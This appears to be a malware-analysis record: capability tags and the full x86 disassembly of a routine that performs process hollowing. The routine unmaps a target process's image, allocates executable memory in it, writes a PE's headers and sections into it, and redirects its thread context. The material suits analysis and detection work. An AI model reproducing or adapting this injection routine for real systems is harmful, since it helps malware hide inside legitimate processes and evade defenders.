Function at 0x4153fc
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
and dword [ebp - 8], 0
and dword [ebp - 0x30c], 0
and dword [ebp - 0x304], 0
and dword [ebp - 0x310], 0
and dword [ebp - 0x2c], 0
and dword [ebp - 0x314], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
mov ecx, dword [ebp + 0x10]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 4], ecx
push 0x2cc
push 0
lea eax, [ebp - 0x300]
push eax
call fcn.00401c20
add esp, 0xc
mov dword [ebp - 0x300], 0x10002
lea eax, [ebp - 0x300]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x41547a
jmp 0x415646
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x304], eax
push str.NtUnmapViewOfSection
push 0x45cabc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push dword [ebp - 0x304]
push dword [ebp + 8]
call dword [ebp - 8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 4]
add eax, dword [ecx + 0x34]
mov dword [ebp - 0x250], eax
lea eax, [ebp - 0x300]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x4154d7
jmp 0x415646
push 0x40
push 0x3000
mov eax, dword [ebp - 4]
push dword [eax + 0x50]
mov eax, dword [ebp - 4]
push dword [eax + 0x34]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0
jne 0x415507
jmp 0x415646
push str.NtQueryInformationProcess
push str.NTDLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30c], eax
lea eax, [ebp - 0x28]
push eax
push 0x18
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp + 8]
call dword [ebp - 0x30c]
test eax, eax
je 0x415542
jmp 0x415646
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x318], eax
push 0
push 4
mov eax, dword [ebp - 4]
add eax, 0x34
push eax
mov eax, dword [ebp - 0x318]
add eax, 8
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x415572
jmp 0x415646
push 0
mov eax, dword [ebp - 4]
push dword [eax + 0x54]
push dword [ebp + 0x10]
push dword [ebp - 0x310]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x415595
jmp 0x415646
mov dword [ebp - 0x314], 1
and dword [ebp - 0x2c], 0
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x4155bd
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x2c], eax
jae 0x41563e
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + eax + 0x10], 0
je 0x4155ed
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0x24]
and eax, 0x80
je 0x4155ef
jmp 0x4155b6
push 0
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x10]
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
add edx, dword [ecx + eax + 0x14]
push edx
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x310]
add edx, dword [ecx + eax + 0xc]
push edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x415639
and dword [ebp - 0x314], 0
jmp 0x41563e
jmp 0x4155b6
xor eax, eax
jne 0x415441
mov eax, dword [ebp - 0x314]
leave
ret